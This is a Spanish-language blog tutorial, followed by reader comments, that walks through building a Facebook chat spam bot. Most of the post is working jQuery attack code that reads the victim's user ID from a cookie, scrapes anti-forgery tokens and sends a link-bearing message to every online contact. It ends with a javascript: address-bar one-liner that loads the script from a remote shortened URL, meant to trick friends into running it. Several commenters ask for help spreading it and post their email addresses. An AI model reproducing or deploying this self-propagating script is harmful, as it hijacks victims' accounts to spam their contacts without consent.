Bot Spammer en el chat de Facebook con JQuery

Hace días atrás me comenzaron a llegar spam por el chat de facebook y decidí investigar como lo hacían.
Como lo hacen?
Primero, hacer correr código javascript a los contactos de facebook. Simplemente los hacen escribir en la barra de direcciones el siguiente código:
javascript: [CODIGO JAVASCRIPT]
e incluyen un script escrito en javascript a la página de facebook, con el cuál pueden manipular los datos de la página.
Como manipulan los datos de Facebook?
Con el script que incluyen en facebook, comienzan a hacer llamadas vía Ajax al servidor, donde:
- Listan a los usuarios del chat: Para Listar a todos los contactos conectados crean una petición por el método GET a la siguiente dirección:
http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&user={ID_USUARIO}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest&popped_out=false&force_render=true - Envían mensajes a cada usuario conectado: Para enviar un mensaje a algún contacto necesitan hacer una petición por el método POST a la siguiente dirección
http://www.facebook.com/ajax/chat/send.php?__a=1
y como parámetro pasan:
msg_id={NUMERO_RANDOM}&client_time={TIME}&msg_text={MENSAJE}&to={CONTACTO_ID}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest
Como ven en los puntos anteriores , necesitamos 3 variables que no podemos inventar para hacer las peticiones.
- ID_USUARIO: La sacamos de la cookie de facebook
- POST_FORM_ID: La sacamos de la página principal de Facebook (Formulario Oculto)
- FB_DTSG: La sacamos de la página principal de Facebook (Formulario Oculto).
Conociendo ésto, los pasos para comenzar a escribir nuestro bot son:
- Entrar a la página principal de Facebook
- Sacar las cookies y buscar la ID_USUARIO
- Buscar los inputs ocultos y sacar POST_FORM_ID y FB_DTSG
- Listar Los Usuarios conectados al chat
- Enviar un mensaje por cada usuario conectado
Código:
Para programar código Javascript utilizaré el framework JQuery para hacer mas fácil la manipulación de datos.
1.- Conectar a la raíz de Facebook y obtener los datos necesarios.
/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
$.ajax({
/* La url será la raíz de Facebook */
url: "/",
/* al tener éxito en la consulta sacaré los datos que necesito */
success: function(data){
/* busco , en la cookie, la id de usuario con expresiones regulares*/
var user_id = document.cookie.match(/c_user=(\d+)/)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value" */
var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value" */
var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
}
});
2.- Luego de Obtener los datos necesarios tenemos que listar a los usuarios
/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
$.ajax({
/* La url será la raíz de Facebook */
url: "/",
/* al tener éxito en la consulta sacaré los datos que necesito */
success: function(data){
/* busco , en la cookie, la id de usuario con expresiones regulares*/
var user_id = document.cookie.match(/c_user=(\d+)/)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value" */
var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value" */
var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
/* [PASO 2] - Listar Usuarios Conectados */
$.ajax({
url:'/ajax/chat/buddy_list.php?__a=1',
/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
data: {
user: user_id,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
lsd: null,
post_form_id_source: 'AsyncRequest',
popped_out: false,
force_render: true
},
success: function(chatResponse){
/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
/* Del objeto javascript obtengo la lista de amigos */
var buddyList = jsonChatResponse['payload']['buddy_list'];
}
});
}
});
3.- Debemos enviar un mensaje a cada usuario conectado.
/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
$.ajax({
/* La url será la raíz de Facebook */
url: "/",
/* al tener éxito en la consulta sacaré los datos que necesito */
success: function(data){
/* busco , en la cookie, la id de usuario con expresiones regulares*/
var user_id = document.cookie.match(/c_user=(\d+)/)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value" */
var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value" */
var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
/* [PASO 2] - Listar Usuarios Conectados */
$.ajax({
url:'/ajax/chat/buddy_list.php?__a=1',
/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
data: {
user: user_id,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
lsd: null,
post_form_id_source: 'AsyncRequest',
popped_out: false,
force_render: true
},
success: function(chatResponse){
/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
/* Del objeto javascript obtengo la lista de amigos */
var buddyList = jsonChatResponse['payload']['buddy_list'];
/* [PASO 3] - Enviamos a cada amigo un mensaje */
/* Recorrimos la lista de amigos que estan disponibles */
for (var contact in buddyList['nowAvailableList']) {
/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
$.ajax({
url: '/ajax/chat/send.php?__a=1',
type: "POST",
data: {
msg_id: Math.floor(Math.random() * 1335448958),
client_time: (new Date).getTime(),
/* Aquí agregamos nuestro Mensaje */
msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
to: contact,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
post_form_id_source: "AsyncRequest"
},
success: function(chatSendResponse){
}
});
}
}
});
}
});
Para terminar nuestro código , agregaré el script de JQuery
/* Obtengo el tag HEAD */
var head= document.getElementsByTagName('head')[0];
/* creo un elemento SCRIPT */
var script= document.createElement('script');
/* le doy el tipo javascript */
script.type= 'text/javascript';
/* framework JQuery */
script.src= 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js';
/* Agrego un evento ONLOAD al SCRIPT */
script.onload = function(){
/* Una vez que se haya cargado JQUERY debo comenzar a utilizarlo */
/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
$.ajax({
/* La url será la raíz de Facebook */
url: "/",
/* al tener éxito en la consulta sacaré los datos que necesito */
success: function(data){
/* busco , en la cookie, la id de usuario con expresiones regulares*/
var user_id = document.cookie.match(/c_user=(\d+)/)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value" */
var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value" */
var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
/* [PASO 2] - Listar Usuarios Conectados */
$.ajax({
url:'/ajax/chat/buddy_list.php?__a=1',
/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
data: {
user: user_id,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
lsd: null,
post_form_id_source: 'AsyncRequest',
popped_out: false,
force_render: true
},
success: function(chatResponse){
/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
/* Del objeto javascript obtengo la lista de amigos */
var buddyList = jsonChatResponse['payload']['buddy_list'];
/* [PASO 3] - Enviamos a cada amigo un mensaje */
/* Recorrimos la lista de amigos que estan disponibles */
for (var contact in buddyList['nowAvailableList']) {
/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
$.ajax({
url: '/ajax/chat/send.php?__a=1',
type: "POST",
data: {
msg_id: Math.floor(Math.random() * 1335448958),
client_time: (new Date).getTime(),
/* Aquí agregamos nuestro Mensaje */
msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
to: contact,
post_form_id: post_form_id,
fb_dtsg: fb_dtsg,
post_form_id_source: "AsyncRequest"
},
success: function(chatSendResponse){
}
});
}
}
});
}
});
};
/* Agrego el tag SCRIPT Al tag HEAD */
head.appendChild(script);
Luego subimos nuestro script a algun hosting, yo lo subí a Dropbox
http://goo.gl/KKz48
Y por último creamos el codigo javascript para pasarlo a nuestros amigos, que tendrán que ejecutarlo en la página de Facebook.
javascript:(s=document.createElement('script')).src='http://goo.gl/KKz48', document.body.appendChild(s); void(0);
Escribiendo el código anterior,en la barra de direcciones en la pestaña donde está la págian de facebook, se crea un tag que les agregará el script que hicimos y por consecuencia enviará un mensaje a todos sus amigos conectados al chat.
De ésta forma se pueden enviar mensajes por el chat, crear eventos, postear en el muro, etc. Espero que les sirva de algo y que lo usen para algo bueno,
Saludos!
Hola hermano, Dios te bendiga mucho, me interesa tu truco, a ver si podemos hablar para que me guies mejor…
Buena koala hace tiempo que no veo tu blog y estan bastante interesantes las nuevas entradas, se agradece la información que compartes, saludos.
Me interesa mucho como hacer esto.. pero la verdad es que no entiendo, no tengo mucha cancha. Me gustaria saber si me puedes dar una mano, no es para hacer ninguna maldad, ni mandar spams ofensivos ni nada, solo para divertirme un poco. Si tienes tiempo despues charlamos y me guias un poco bastante. MUY BUEN APORTE, SALUDOS
esta muy bueno el script, gracias por el aporte :D
Buenisimo el script!! pero como logro mandarselo a todos los contactos y no solo a los que estan conectados?? por que de echo nisiquiera se los manda a todos solo a los que tienes en el panel de la derecha… (lo q cambio en el nuevo chat de facebook), porfavor escribeme a jpeaston@hotmail.com! te lo agradesco demasiado
prueba
Ya no esta funcionando ! :S, si es asi y me equivoco favor responder o enviar en email a bryangonalez@gmail.com
necesito saber komo puedo sakar esto de face q es una paja q te dijan malas palabras por culpa de esto.. gracias macarena.aggro@gmail.com responde pliss
Ya no funciona, reponder a g_rod@live.cl
Hey men! y si mejor haces un video?? seria buena idea compartirlo ya que es muy buen truco y bastante bueno, la verdad :)
no funciona enviarme mensaje desordenatefm@hotmail.es
CORREO@MARTINML.COM